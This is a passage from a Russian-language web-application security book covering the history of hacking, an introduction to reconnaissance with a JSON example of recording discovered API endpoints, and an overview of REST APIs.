Вот таблица двухтональных сигналов с указанием используемых частот, соответствующих клавишам телефона:
1

2

3

(697 Гц)

4

5

6

(770 Гц)

7

8

9

(852 Гц)

*

0

#

(941 Гц)

(1209 Гц)

(1336 Гц)

(1477 Гц)

Развитие технологии DTMF в значительной степени было связано с легкостью
обратного проектирования систем тонального набора, чем и пользовались фрикеры. Разработчики из Bell Systems полагали, что благодаря системе DTMF, использующей два тона одновременно, злоумышленникам будет намного сложнее
получить к ней доступ.
Двухтональный сигнал уже нельзя было легко воспроизвести человеческим голосом или свистком, что делало новую технологию более надежной. Это яркий
пример успешной разработки средства обеспечения безопасности и противодействия фрикерам — хакерам той эпохи.
Механика генерации звуков DTMF проста. За каждой клавишей находится
переключатель, заставляющий встроенный динамик испускать два сигнала:
частота первого зависит от строки, в которой находится клавиша, а частота
второго — от столбца. Именно поэтому сигнал и называется двухтональным.
Международный союз электросвязи (International Telecommunication Union,
ITU) принял DTMF в качестве стандарта, а позже эту технологию начали применять не только в телефонии, но и в кабельном телевидении (для определения
времени перерыва на рекламу).
Технология DTMF наглядно демонстрирует, что при правильном планировании
на этапе разработки систему можно построить таким образом, что ее взлом будет
затруднен. Разумеется, сигналы DTMF также поддаются декодированию, но
для этого нужно приложить значительно больше усилий. Со временем коммутационные центры перешли с аналогового на цифровой ввод, что практически
уничтожило такое явление, как фрикинг.

44  Глава 1. История защиты программного обеспечения

Начало компьютерного взлома, 1980-е
В 1976 году компания Apple выпустила персональный компьютер Apple 1. По
сути, это была укомплектованная системная плата, к которой нужно было докупать и подключать корпус, источник питания, клавиатуру и монитор. Было
произведено и продано всего несколько сотен таких устройств.
В 1982 году компания Commodore International выпустила Commodore 64 —
персональный компьютер, которым сразу можно было пользоваться. Он поставлялся с собственной клавиатурой, имел встроенную поддержку звука и даже
умел работать с многоцветными дисплеями.
До начала 1990-х продажи компьютера Commodore 64 доходили до 500 000 штук
в месяц. Позже эта цифра начала ежегодно расти, и вскоре компьютеры стали
обычным инструментом как в бизнесе, так и в быту, взяв на себя множество рутинных задач, в том числе управление финансами, бухгалтерский учет и продажи.
В 1983 году американский специалист в области информатики Фред Коэн (Fred
Cohen) создал первый компьютерный вирус. Этот вирус умел копировать сам
себя и легко передавался с одного ПК на другой через дискеты. Он был встроен
в обычную программу и замаскирован от всех, у кого не было доступа к ее исходному коду. Позже Коэн стал одним из первых специалистов по безопасности
программного обеспечения, показав, что не существует алгоритма, способного
обнаружить все возможные компьютерные вирусы.
В 1988 году аспирант факультета вычислительной техники Корнеллского университета Роберт Моррис (Robert Morris) создал вирус, заразивший множество
компьютеров по всей стране. Вирус приобрел известность как червь Морриса
(Morris Worm), а сам термин «червь» стали использовать для обозначения самовоспроизводящегося компьютерного вируса. В первый же день своего выпуска
червь Морриса заразил примерно 15 000 подключенных к сети компьютеров.
Впервые в истории правительство США задумалось о необходимости официальных предписаний для подобных случаев. Счетная палата оценила ущерб от
червя в 10 миллионов долларов. Морриса приговорили к трем годам условно,
400 часам общественных работ и штрафу в 10 050 долларов. Он стал первым
хакером, осужденным в Соединенных Штатах.
В наши дни большинство хакеров вместо вирусов, заражающих операционные
системы, создает вирусы, нацеленные на веб-браузеры. Современные браузеры
предоставляют чрезвычайно надежный механизм обеспечения безопасности программ. Веб-сайт не может запустить исполняемый код (направленный против
операционной системы хоста) вне браузера без явного разрешения пользователя.

Начало компьютерного взлома, 1980-е  45

Хотя атаки современных хакеров в первую очередь нацелены на пользовательские данные, к которым можно получить доступ через браузер, у них есть много
общего с атаками, нацеленными на операционные системы. Это такие вещи, как
масштабируемость (возможность переходить от одного пользователя к другому)
и маскировка (скрытие вредоносного кода внутри обычной программы).
В современных условиях масштабирование атак происходит через электронную
почту, социальные сети или мессенджеры. Некоторые хакеры даже создают законные сети для продвижения одного вредоносного сайта.
За безобидно выглядящим интерфейсом может скрываться вредоносный код.
Для фишинга (кражи конфиденциальных данных пользователей) создаются
страницы, которые выглядят как реальные социальные сети или сайты банков.
Подключаемые модули для браузера (плагины) часто ловят на краже данных,
а иногда хакеры находят способы запустить свой код на чужих сайтах.

Расцвет Всемирной паутины, 2000-е
Всемирная паутина (the World Wide Web, WWW) появилась в 1990-х, но ее
популярность начала стремительно расти в начале 2000-х.
В 1990-х годах интернет использовался в основном как способ обмена документами, написанными на HTML. Веб-сайты не особо обращали внимание на
UI, и очень немногие из них разрешали пользователям отправлять обратно на
сервер какие-либо данные, чтобы изменить работу сайта. На рис. 1.4 показан
сайт компании Apple.com в 1997 году.
Начало 2000-х ознаменовало для интернета новую эру. Веб-сайты начали сохранять пользовательские данные и даже менять функциональность на основе
пользовательского ввода. Эта ключевая разработка получила название Web 2.0.
Сайты Web 2.0 разрешали пользователям взаимодействовать друг с другом, отправляя данные на сервер по протоколу HTTP, где они сохранялись и по запросу
предоставлялись другим пользователям.
Новая идеология создания сайтов породила социальные сети в том виде, в каком
мы их знаем сегодня. Методика Web 2.0 сделала возможным появление блогов,
редактируемых страниц вики, сайтов обмена мультимедиа и многого другого.
Такое радикальное изменение сетевой идеологии превратило интернет из места
обмена документами в платформу распространения приложений. На рис. 1.5
показан онлайн-магазин Apple.com образца 2007 года. Обратите внимание на
ссылку Account в верхнем правом углу, означающую, что сайт поддерживает

46  Глава 1. История защиты программного обеспечения

учетные записи пользователей и сохранение их данных. Ссылка на учетную
запись существовала и в предыдущих версиях веб-сайта Apple в 2000-х годах,
но она находилась внизу и только в 2007 году была передвинута в верхний правый угол интерфейса. Возможно, изначально это была экспериментальная или
малоиспользуемая функция.
Огромный сдвиг в проектировании архитектуры сайтов изменил и способы атак
на веб-приложения. К этому моменту уже прилагались серьезные усилия для
защиты серверов и сетей — двух основных целей хакерских атак в последнее
десятилетие. С появлением сайтов, напоминающих приложения, идеальной
мишенью для хакеров стали пользователи.

Рис. 1.4. Сайт Apple.com в июле 1997 года был исключительно информационным. Пользователи
не имели возможности регистрироваться, входить в систему, комментировать или сохранять
какие-либо данные после завершения сеанса

Расцвет Всемирной паутины, 2000-е  47

Рис. 1.5. В октябре 2007 года на сайте Apple.com появился интернет-магазин
Для этого появились все условия. Прошло еще немного времени, и пользователи
смогли через интернет осуществлять множество важных операций. Военная
связь, банковские переводы и многое другое в конечном итоге стали осуществляться через веб-приложения (сайты, функционирующие как десктопные приложения). К сожалению, в то время пользователей практически не защищали от
нацеленных на них атак. Кроме того, было мало информации о методах взлома
и механизмах работы интернета. Мало кто из пользователей Сети в 2000-х имел
представление о технологиях, благодаря которым все работает.
В начале 2000-х широкое освещение получили первые DoS-атаки (denial of
service, «отказ в обслуживании»), остановившие работу Yahoo!, Amazon, eBay
и других популярных сайтов. В 2002 году уязвимость в плагине ActiveX от
Microsoft позволила вредоносному сайту инициировать удаленную загрузку
и скачивание файлов. К середине 2000-х начались регулярные кражи учетных

48  Глава 1. История защиты программного обеспечения

данных через «фишинговые» сайты. Никаких средств контроля для защиты
пользователей от таких сайтов тогда не существовало.
В сети широко применялся межсайтовый скриптинг (Cross-Site Scripting, XSS),
запускавший вредоносный код в сеансе браузера пользователя внутри обычного
сайта, поскольку производители браузеров еще не создали защиты от таких
атак. Многие попытки взлома 2000-х годов были результатом того, что технологии, обеспечивающие функционирование сети, изначально разрабатывались
с прицелом на одного пользователя (владельца сайта). И как только появились
системы, позволяющие пользовательский обмен данными, они показали свою
несостоятельность.

Современные хакеры, после 2015-го
Хакеров прошлого мы вспомнили, чтобы заложить фундамент для восприятия
дальнейшего материала.
История разработки машин «Энигма» и их взлома, произошедшая в 1930-х годах, демонстрирует важность обеспечения безопасности и то, как далеко готовы
зайти желающие взломать систему.
Уже в 1940-х начались попытки автоматизации систем безопасности. Рассмотренный случай был логическим продолжением битвы между атакующими
и защитниками. Технология машин «Энигма» настолько усовершенствовалась,
что методы ручного криптоанализа уже не позволяли взломать ее за разумное
количество времени. И для обхода этого ограничения Алан Тьюринг обратился
к автоматизации.
Опыт 1950-х и 1960-х показал, как много общего у хакеров и «мастеров на все
руки». Стало понятно, что технология, разработанная без учета злонамеренных
пользователей, в конечном итоге будет взломана. При разработке масштабируемых технологий, предназначенных для широкой пользовательской базы, всегда
следует исходить из наихудшего сценария.
В 1980-х начали набирать популярность персональные компьютеры. Примерно
в это же время появились те хакеры, которых мы знаем сегодня. Они использовали возможности программного обеспечения, маскируя вирусы внутри обычных
приложений и распространяя их через сети.
Затем в нашу жизнь вошла Всемирная паутина, которая после разработки
Web 2.0 превратилась в средство обмена приложениями вместо документов.
В результате появились новые варианты эксплойтов, связанные уже не столько

Современные хакеры, после 2015-го  49

с сетями и серверами, сколько с пользователями. Это продолжается до сих пор,
поскольку большинство хакеров предпочитает атаковать не ПО для компьютеров или операционные системы, а веб-приложения через браузеры.
В 2019 году, когда я начал писать эту книгу, в сети находились уже тысячи вебсайтов компаний с оборотом в миллионы и миллиарды долларов. Для многих
из них сайт был источником прибыли. Вам, скорее всего, известны такие сайты,
как Google, Facebook, Yahoo!, Reddit, Twitter и т. п.
Показанный на рис. 1.6 видеохостинг YouTube позволяет пользователям вза­
имодействовать и друг с другом, и с самим приложением. Там поддерживаются
комментарии, загрузка видео и изображений. При всех этих операциях можно
выбирать уровень доступа, определяя, кому будет виден загружаемый контент.
Большая часть размещенных данных остается неизменной, но есть и меняющаяся функциональность, причем сведения об изменениях поступают практически
в режиме реального времени (посредством уведомлений). Значительная часть
важной функциональности перенесена на сторону клиента (в браузер), а не
находится на сервере.
Некоторые компании-разработчики программного обеспечения для ПК пытаются перенести свою линейку продуктов в интернет в так называемое облако
(clouds), которое представляет собой всего лишь сложную сеть серверов. Например, это межплатформенные приложения Adobe Creative Cloud, предлагаемые по
подписке и дающие доступ через интернет к Photoshop и другим инструментам
компании. Или Microsoft Office, который теперь предоставляет редакторы Word
и Excel в виде веб-приложений.

Рис. 1.6. В настоящее время принадлежащий компании Google сайт YouTube.com — отличный
пример сайта, созданного по методике Web 2.0

50  Глава 1. История защиты программного обеспечения

В современные приложения вкладывается много денег, а значит, ставки сейчас
выше, чем когда бы то ни было. Приложения созрели для эксплойтов, которые
стали крайне выгодным делом.
Наступило плодотворное время как для хакеров, так и для инженеров, работающих над системами безопасности. Деятельность и тех и других пользуется
большим спросом, причем по обе стороны закона.
За 10 лет значительно усовершенствовались браузеры. В них появилось множество новых элементов защиты. Улучшились и сетевые протоколы, которыми
мы пользуемся для доступа в интернет.
Современные браузеры предлагают надежную изоляцию для страниц разных
сайтов в соответствии с правилом ограничения домена, которое еще называют
принципом одинакового источника (Same Origin Policy, SOP). Согласно этому
принципу, веб-сайт A не может быть доступен сайту B, даже если оба открыты
в браузере одновременно или один встроен в другой с помощью тега iframe.
Появилась у браузеров и новая настройка безопасности, известная как Политика безопасного контента (Content Security Policy, CSP). Она позволяет разработчику сайта выбирать уровень безопасности: например, указывать, нужно
ли выполнять встроенные функции inline (в HTML). Это дает дополнительную
защиту приложения от распространенных угроз.
Основной протокол пересылки веб-трафика HTTP также улучшился с точки зрения безопасности. К нему были добавлены такие криптографические
протоколы, как SSL и TLS, обеспечивающие обязательное шифрование
любых передаваемых по сети данных. Это затрудняет взломы типа «атака
посредника».
Все эти усовершенствования в области безопасности браузеров привели к тому,
что многие из хакеров сегодня предпочитают атаковать логическую структуру
веб-приложений. Взломать сайт, воспользовавшись ошибками в коде приложения, намного проще, чем взломать браузер. К счастью для хакеров, сейчас
веб-приложения стали намного больше и сложнее.
Популярные приложения часто имеют сотни зависимостей с открытым исходным кодом, интеграцию с другими сайтами и несколько баз данных различных типов, а также обслуживаются разными веб-серверами. Именно они
взламываются чаще всего. И именно они в основном будут рассматриваться
в этой книге.
Подводя итоги, можно сказать, что современные веб-приложения размером
и сложностью намного превосходят своих предшественников, что позволяет
осуществлять взлом, используя логические ошибки в их коде. Зачастую эти

Современные хакеры, после 2015-го  51

ошибки возникают как побочный эффект расширенного взаимодействия с пользователем.
Еще десять лет назад большую часть своего времени хакеры уделяли взлому
серверов, сетей и браузеров. Современный хакер предпочтет взламывать вебприложения, используя уязвимости в их коде.

Итоги
История защиты ПО и пытающихся обойти эту защиту хакеров насчитывает
как минимум сто лет. Проектирование современных приложений и обеспечение
их безопасности основано на уроках прошлого, хотя прежде хакеры атаковали
приложения иначе. Как только приложения какого-то типа становятся более
защищенными, хакеры переходят на новые развивающиеся технологии, зачастую не имеющие встроенных средств контроля безопасности такого же уровня.
Ведь разработка и внедрение этих средств ведется исключительно методом проб
и ошибок.
В прошлом сайты имели множество дыр в безопасности (в частности, на уровне сервера и на уровне сети). Современные веб-приложения открывают перед
злоумышленниками новые возможности, которыми те активно пользуются. Небольшой исторический экскурс в этой главе крайне важен, так как подчеркивает,
что современные проблемы безопасности веб-приложений — этап циклического
процесса. В будущем эти веб-приложения станут более защищенными, и хакеры,
скорее всего, перейдут на новые виды атак (например, на RTC или веб-сокеты).
Каждая новая технология имеет свои поверхности атаки и уязвимости. Чтобы стать отличным хакером, нужно быть в курсе новейших
технологий. У них часто бывают дыры в безопасности, информация
о которых еще не опубликована в сети.

Эта книга покажет вам способы взлома и защиты современных веб-приложений.
Но описываемые тут техники безопасности — лишь верхушка айсберга. Самый
ценный навык для профессионалов в сфере безопасности — это умение находить
собственные решения. Надеюсь, следующие главы помогут вам развить критическое мышление и навыки решения задач безопасности, с помощью которых
вы сможете превзойти своих коллег, столкнувшись с новой или необычной
уязвимостью или ранее невиданными механизмами защиты.

ЧАСТЬ I

Разведка

Я решил начать эту часть не с технического обзора (которого и так хватает на
других страницах книги), а с философского.
Для эффективного эксплойта веб-приложения требуется широкий спектр
навыков. Хакер должен знать о сетевых протоколах, методах разработки ПО
и общих уязвимостях различных типов приложений. При этом ему всегда нужно
понимать, что за приложение он собирается взламывать. Чем глубже будет это
понимание, тем выше шансы на успех.
Следует основательно изучить функциональные особенности приложения. Кто
его пользователи? Каким образом оно приносит доход? Почему пользователи
выбирают это приложение среди прочих? Как выглядят конкуренты? Каков
алгоритм работы приложения?
Такое понимание необходимо, чтобы определить, какие данные и функции имеют
значение. Например, в веб-приложении для продажи автомобилей ключевыми
можно считать данные о выставленных на продажу объектах (цена, комплектация и т. п.). А на сайте автолюбителей, участники которого делятся историями
проделанного тюнинга, учетные записи будут ценнее, чем информация о комплектации машин в профилях пользователей.
Это справедливо не только для данных, но и для алгоритма работы. Многие
веб-приложения приносят доход разными способами, а не полагаются на один
источник финансирования.
Платформа обмена мультимедиа может предоставлять ежемесячную подписку,
показывать рекламу и предлагать платные загрузки. Что из этого наиболее
ценно для компании-владельца? Чем эти варианты монетизации отличаются

Часть I. Разведка  

53

с точки зрения удобства использования? Сколько пользователей приносят доход в каждом потоке?
В конечном итоге предварительное изучение веб-приложений сводится к сбору
данных и построению модели, объединяющей технические и функциональные
детали таким образом, чтобы можно было понять, с какой целью создано приложение и как оно применяется. Без этого сложно правильно выбрать вектор атаки.
Таким образом, с философской точки зрения суть разведки — формирование
более глубокого понимания веб-приложения. И ключевым фактором тут является информация, независимо от того, носит она технический характер или нет.
В этой книге речь в основном пойдет о поиске и анализе компонентов вебприложения с технической точки зрения. Но я коснусь и таких вещей, как анализ
функциональных характеристик и систематизация информации.
Если у вас в будущем появится возможность собрать данные, обязательно воспользуйтесь ею и проведите собственное нетехническое исследование.

ГЛАВА 2

Введение в разведку
веб-приложений

Итак, взлому веб-приложения обычно предшествует этап сбора информации
о нем. Разведка обычно выполняется хакерами, пентестерами или охотниками
за багами. Полезна она и для инженеров безопасности, так как позволяет обнаружить в веб-приложении слабозащищенные места и внести коррективы до
того, как на них наткнется злоумышленник. Сами по себе навыки разведки не
особо полезны, но в сочетании со знаниями методов взлома и опытом в области
инженерной защиты их ценность огромна.

Сбор информации
Надеюсь, вы поняли, что предварительное изучение приложений с целью разобраться в них — неотъемлемая часть арсенала хорошего хакера. На этом пока
наши знания сферы заканчиваются. Так что давайте с технической точки зрения
посмотрим, почему так важен этот этап.
Многие из техник разведки, которые вы найдете в следующих
главах, могут пригодиться при составлении карты приложений,
но могут привести к обнаружению вашего IP-адреса. Подобные
эксперименты грозят блокировкой в приложении или даже судебным иском.
Большинство описанных в книге методов и техник следует применять только к своим собственным приложениям или к тем, на
тестирование которых вы имеете письменное разрешение.

Сбор информации  55

Разведка осуществляется разными способами. Иногда для ознакомления
с внутренней работой приложения достаточно перемещаться по нему и записывать сетевые запросы. Но далеко не у всех из них есть пользовательский
интерфейс, позволяющий визуально исследовать и отмечать функциональные
возможности.
Большинство общедоступных приложений (часто это приложения для взаимодействия бизнеса и потребителей, такие как социальные сети) оснащено внешним пользовательским интерфейсом. Но это не означает, что у нас есть полный
доступ. По умолчанию лучше всего считать, что нам доступен ограниченный
набор элементов интерфейса.
Давайте немного порассуждаем. Скажем, когда вы заходите в свой местный МегаБанк и открываете новый счет (в этом примере — текущий), то,
как правило, также получаете логин и пароль. Эти данные позволяют вам
в дальнейшем проверять состояние своего счета через интернет. При этом
сведения, необходимые для открытия счета, обычно вводит вручную банковский служащий, отвечающий за оформление документов. То есть доступ
к веб-приложению, создающему новые счета в банковских базах данных, есть
и у сотрудников банка.
Позже вы можете позвонить в банк и попросить открыть еще и сберегательный
счет. Достаточно предоставить корректные учетные данные, идентифицирующие пользователя, и услуга будет предоставлена удаленно. В большинстве
крупных банков доступ к новому сберегательному счету будет доступен через ту же регистрационную информацию, которая используется для доступа
к текущему.
У сотрудников банка есть доступ к приложению, позволяющему отредактировать информацию из уже существующей учетной записи, связав ее с вновь
созданной, касающейся сберегательного счета. Это может быть как то же приложение, которое использовалось для создания первой учетной записи, так
и какое-то другое.
Кроме того, закрыть свой банковский счет через интернет клиент не может.
Для этого ему нужно зайти в филиал банка и попросить об этом лично. После
удовлетворения этого запроса счет будет быстро закрыт. Обычно это происходит
в течение нескольких часов. Фактически доступ к своему банковскому счету
клиент может использовать только для получения информации о его состоянии.
Это означает, что у вас есть доступ только на чтение.
Некоторые банки позволяют клиентам оплачивать счета или переводить средства через интернет, но ни один банк не дает им создавать, редактировать или
удалять собственные учетные записи. Таким образом, даже клиенты, пользую-

56  Глава 2. Введение в разведку веб-приложений

щиеся самыми передовыми цифровыми системами банковского обслуживания,
имеют ограниченный набор прав доступа на уровне записи. В то же время администраторам и ряду сотрудников банка разрешено редактировать, создавать
и удалять учетные записи.
Банкам нецелесообразно нанимать персонал, который для каждой операции
редактирования учетной записи будет вручную создавать запросы к базе данных. Эти задачи логично возложить на программное обеспечение. Приложения
с подобным избирательным управлением доступом называют приложениями
с управлением доступом на основе ролей (role-based access controlled). Сегодня
практически невозможно найти приложение с одинаковым уровнем доступа
для всех пользователей.
Скорее всего, вы уже сталкивались с подобными элементами управления в ПО.
Например, для выполнения опасной команды в ОС может потребоваться авторизация в качестве администратора. А в социальных сетях присутствуют
модераторы. Их уровень доступа выше, чем у обычного пользователя, но ниже,
чем у администратора.
Изучая пользовательский интерфейс веб-приложения, мы вряд ли увидим конечные точки API, предназначенные для лиц с повышенным уровнем доступа
(администраторов, модераторов и т. п.). Но с помощью специальных техник
можно обнаружить эти API и даже построить сложную карту, детально иллюстрирующую полномочия администратора или модератора, чтобы сравнить их
с полномочиями стандартного пользователя. Иногда таким способом можно
найти дефекты ПО, дающие непривилегированным пользователям более высокий уровень доступа.
Навыки разведки иногда позволяют получить информацию о приложениях, к которым у нас нет доступа. Например, это может быть внутренняя сеть учебного
заведения или файловый сервер компании. Нам не нужен пользовательский
интерфейс, чтобы узнать, как приложение работает, если у нас есть необходимые
навыки для обратного проектирования структуры API приложения и полезные
данные, которые эти API принимают.
Иногда в процессе сбора предварительных данных можно столкнуться с незащищенными серверами или API. Многие компании полагаются на несколько
серверов, как внутренних, так и внешних. Достаточно забыть одну строчку
в конфигурации сети или межсетевого защитного экрана, и HTTP-сервер будет
открыт для сетей общего пользования.
Построив карту технического устройства и архитектуры веб-приложения, можно
лучше продумать тактику для атаки. Она показывает, какие части приложения
защищены лучше всего, а с какими стоит немного поработать.

Сбор информации  57

Карта веб-приложения
Первая часть книги знакомит вас с методами построения карты структуры, организации и функций веб-приложения. Важно отметить, что именно с этого этапа
должны начинаться попытки взлома веб-приложений. По мере приобретения
опыта вы сможете придумать собственные техники разведки и способы записи
и систематизации найденной информации.
Систематизированный набор топографических точек — это знакомая многим
карта. Топографией называется научная дисциплина, изучающая методы изображения элементов земной поверхности. У веб-приложений тоже есть наборы
элементов, к которым можно применить те же самые концепции, хотя они и отличаются от встречающихся в природе. Мы будем использовать термин «карта»
для обозначения собранных нами точек данных, которые касаются кода, сетевой
структуры и набора функций приложения. Следующие несколько глав посвящены способам получения этих данных и заполнению карты.
Форма хранения собираемой информации зависит от сложности приложения
и продолжительности его тестирования. Иногда можно обойтись простыми заметками. Для более надежных приложений или таких, которые вы собираетесь
тестировать часто и подолгу, вам, вероятно, понадобится решение посложнее.
Выбор способа структурирования карт целиком зависит от вас. Любой формат
допустим: главное, чтобы он легко читался и позволял сохранять актуальную
информацию и взаимосвязи.
Лично я для большинства заметок предпочитаю формат JSON (JavaScript Object
Notation). Я обнаружил, что в веб-приложениях часто встречаются иерархические структуры данных, которые к тому же позволяют упростить сортировку
и поиск по заметкам. Вот пример результатов разведки в формате JSON, которые описывают набор конечных точек API, обнаруженных на сервере API
веб-приложения:
{

api_endpoints: {
sign_up: {
url: 'mywebsite.com/auth/sign_up',
method: 'POST',
shape: {
username: { type: String, required: true, min: 6, max: 18 },
password: { type: String, required: true, min: 6: max 32 },
referralCode: { type: String, required: true, min: 64, max: 64 }
}
},
sign_in: {

58  Глава 2. Введение в разведку веб-приложений

url: 'mywebsite.com/auth/sign_in',
method: 'POST',
shape: {
username: { type: String, required: true, min: 6, max: 18 },
password: { type: String, required: true, min: 6: max 32 }
}

},
reset_password: {
url: 'mywebsite.com/auth/reset',
method: 'POST',
shape: {
username: { type: String, required: true, min: 6, max: 18 },
password: { type: String, required: true, min: 6: max 32 },
newPassword: { type: String, required: true, min: 6: max 32 }
}
}
},
features: {
comments: {},
uploads: {
file_sharing: {}
},
},
integrations: {
oath: {
twitter: {},
facebook: {},
youtube: {}
}
}

}

Для записи и систематизации полученных разведданных могу порекомендовать
такие фантастические инструменты, как приложение для создания иерархических заметок Notion или приложения для составления ментальных карт XMind.
В конечном итоге вы найдете метод, который вам лучше всего подходит и в то
же время достаточно надежен, чтобы при необходимости масштабироваться на
более сложные приложения.

Итоги
Методы предварительного изучения позволяют развить более глубокое понимание технического устройства и структуры веб-приложения, а также обеспечивающих его работу служб. Пристальное внимание следует уделять и записи

Итоги  59

собранных сведений, сохраняя их в такой форме, чтобы даже спустя некоторое
время в них можно было легко разобраться.
В этой главе я привел в качестве примера заметки в формате JSON. Именно так
я предпочитаю сохранять результаты своих усилий по предварительному сбору
информации о веб-приложении. В процессе документирования важнее всего сохранить взаимосвязи и иерархию, причем таким образом, чтобы заметки было
легко читать и ориентироваться в них.
Если вы найдете стиль документирования, который больше подходит лично вам
и легко масштабируется от небольших приложений к крупным, используйте
его, ведь содержание и структура заметок гораздо важнее, чем приложение или
формат, в котором они хранятся.

ГЛАВА 3

Структура современных
веб-приложений

Прежде чем вы научитесь эффективно оценивать веб-приложения с целью предварительного сбора данных, нужно понять, какие вещи многие веб-приложения
используют в качестве зависимостей. Эти зависимости охватывают широкий
диапазон — от вспомогательных библиотек JavaScript и готовых CSS-модулей
до веб-серверов и даже операционных систем. Когда вы поймете, какую роль
они играют и как реализуются в стеке приложений, будет намного проще идентифицировать их и искать ошибки в конфигурации.

Сравнение современных и более ранних версий
приложений
В основе современных веб-приложений часто лежат технологии, которых не
было 10 лет назад. Инструменты создания веб-приложений за это время настолько продвинулись, что процесс работы совершенно поменялся.
Десять лет назад большинство веб-приложений создавались с помощью серверных фреймворков, отправлявших клиенту страницу HTML/JS/CSS. Для
обновления клиент запрашивал с сервера другую страницу, которая генерировалась и передавалась по HTTP.
Прошло немного времени, и веб-приложения стали использовать технологию
Ajax (асинхронный JavaScript и XML), позволяющую выполнять сетевые запросы из сеанса страницы.

Сравнение современных и более ранних версий приложений  61

Многие современные приложения на самом деле правильнее представлять
в виде набора из двух или более приложений, взаимодействующих через сетевой
протокол. Это одно из основных архитектурных отличий от веб-приложений
десятилетней давности.
Часто современные веб-приложения состоят из нескольких, связанных через
так называемый REST API. REST расшифровывается как Representational
State Transfer («передача состояния представления»). Такой API не сохраняет
состояния и существует только для выполнения запросов одного приложения
к другому. Это означает, что он не хранит сведения об инициаторе запроса.
Способы запуска многих современных клиентских (UI) приложений в браузере
напоминают способы запуска традиционных десктопных приложений на ПК.
Эти клиентские приложения самостоятельно управляют своим жизненным
циклом и запрашивают данные, при этом не требуют перезагружать страницу
после начальной загрузки.
Запущенное в браузере автономное приложение нередко взаимодействует со
множеством серверов. Например, приложение для размещения изображений,
позволяющее пользователям входить в систему, скорее всего, будет иметь специализированный сервер хостинга/распространения по одному URL-адресу,
и другой URL-адрес для управления базой данных и учетными записями.
Можно с уверенностью утверждать, что современные приложения представляют
собой симбиотическую систему, состоящую из множества отдельных приложений, работающих в унисон. Такой подход можно объяснить появлением еще
более четко определенных сетевых протоколов и шаблонов проектирования
архитектуры API.
Среднестатистическое веб-приложение сегодня, скорее всего, использует несколько технологий из следующего списка:
REST API;
JSON или XML;
JavaScript;
фреймворки для построения одностраничных приложений (React, Vue,
EmberJS, AngularJS);
систему аутентификации и авторизации;
один или несколько веб-серверов (обычно на Linux-сервере);
один или несколько пакетов ПО для серверов (ExpressJS, Apache,
NginX);

62  Глава 3. Структура современных веб-приложений

одну или несколько баз данных (MySQL, MongoDB и т. п.);
хранилище данных на стороне клиента (файлы cookie, веб-хранилище,
IndexDB).
Это далеко не исчерпывающий список, так как в рамках одной книги
невозможно охватить все технологии, используемые при создании
веб-приложений.
Если вам требуется информация о технологии, не входящей в приведенный выше список, обратитесь к другим изданиям, посвященным
написанию кода, или, например, к сайту Stack Overflow.

Некоторые из этих технологий существовали и десять лет назад, но за прошедшие годы они претерпели различные изменения. Например, базами данных
люди пользуются уже несколько десятилетий, но базы NoSQL и базы на стороне
клиента появились относительно недавно. Разработка полнофункциональных
приложений JavaScript также была невозможна до внедрения программной платформы NodeJS и менеджера пакетов npm. За последнее десятилетие ситуация
вокруг веб-приложений менялась так быстро, что многие ранее неизвестные
технологии теперь используются почти повсеместно.
А на горизонте уже маячат новые технологии. Например, интерфейс Cache
для локального хранения запросов и Web Sockets как альтернативный сетевой
протокол взаимодействия клиент–сервер (или даже клиент–клиент). В конце
концов, в браузеры собираются добавить поддержку версии ассемблерного кода,
известной как формат web assembly («веб-сборка»), которая позволит писать
код на стороне клиента на языках, отличных от JavaScript.
Каждая новая технология несет с собой новые дыры в безопасности, которые
можно обнаружить и использовать. Так что сейчас самое время заняться поиском уязвимостей или защитой веб-приложений.
К сожалению, я не могу рассказать обо всех технологиях, применяемых сегодня в сети. Для этого потребовалась бы отдельная книга! Так что в этой главе
я рассмотрю только технологии из приведенного выше списка. Не стесняйтесь
искать дополнительные материалы о тех из них, с которыми вы еще не очень
хорошо знакомы.

REST API
Аббревиатура REST расшифровывается Representational State Transfer — «передача состояния представления». Она обозначает нестандартный способ проектирования API, удовлетворяющий следующим критериям:

REST API  63

Разделение функций клиента и сервера
Архитектура REST предназначена для создания хорошо масштабируемых
и вместе с тем простых веб-приложений. Благодаря разделению функций
клиента и сервера клиентское приложение может запрашивать ресурсы
с сервера, не вникая в логику взаимодействия с базами данных и вообще
в детали реализации различных операций.
Отсутствие фиксации состояния
В архитектуре REST каждый запрос считается независимой транзакцией,
то есть общение клиента с сервером состоит из независимых пар «запрос–ответ». При этом на сервере не сохраняется никакой информации
о состоянии клиента. Это не означает, что REST API не может выполнять
аутентификацию и авторизацию. Просто вместе с каждым запросом отправляется информация, идентифицирующая пользователя, например,
в виде токена.
Легкость кэширования
Чтобы предотвратить отправку клиенту в ответ на его запрос устаревших
или неверных данных, каждый ответ сервера должен отмечаться как кэшируемый или не кэшируемый. Это достаточно легко реализуется, поскольку
в архитектуре REST четко определено, какая конечная точка обслуживает
те или иные данные. В идеале кэши должны управляться программой, чтобы
случайно не передать информацию ограниченного доступа пользователю,
у которого к ней доступа нет.
Каждая конечная точка определяет конкретный объект или метод
Обычно конечные точки определяются иерархически: например, /moderators/
joe/logs/12_21_2018. При этом REST API могут использовать HTTP-методы
GET, POST, PUT и DELETE. В результате получается запрос, содержащий в себе
всю необходимую информацию для его обработки.
Хотите изменить аккаунт модератора «joe»? Используйте команду PUT
/moderators/joe. Хотите удалить лог 12_21_2018? Достаточно простой команды: DELETE /moderators/joe/logs/12_21_2018.
Поскольку REST API следуют четко определенному архитектурному шаблону, в приложение можно легко интегрировать такой инструмент, как Swagger
(рис. 3.1). Он сохраняет сведения о конечных точках, чтобы другим разработчикам было проще понять их назначение.

64  Глава 3. Структура современных веб-приложений

Рис. 3.1. Swagger — автоматический генератор документации API, разработанный
для простой интеграции с REST API
Раньше большинство веб-приложений разрабатывались с использованием
протокола SOAP (Simple Object Access Protocol, «простой протокол доступа
к объектам»). По сравнению с ним архитектура REST имеет несколько пре­
и­муществ:
запрашиваются не функции, а целевые данные;
простое кэширование запросов;
высокая масштабируемость.
Кроме того, в случае SOAP используется формат обмена данными XML, а в REST
API принимается любой формат данных, хотя чаще всего используется JSON.
Код JSON не так перегружен синтаксисом, как код XML, и проще читается
людьми, так что здесь у REST еще одно преимущество.
Вот пример информации, записанной в формате XML:

joe
correcthorsebatterystaple
joe@website.com
12/21/2005

UTF
Windows 10

REST API  65

abc123-2005
123-456-789

Эта же информация в формате JSON:
{

"username": "joe",
"password": "correcthorsebatterystaple",
"email": "joe@website.com",
"joined": "12/21/2005",
"client_data": {
"timezone": "UTF",
"operating_system": "Windows 10",
"licenses": {
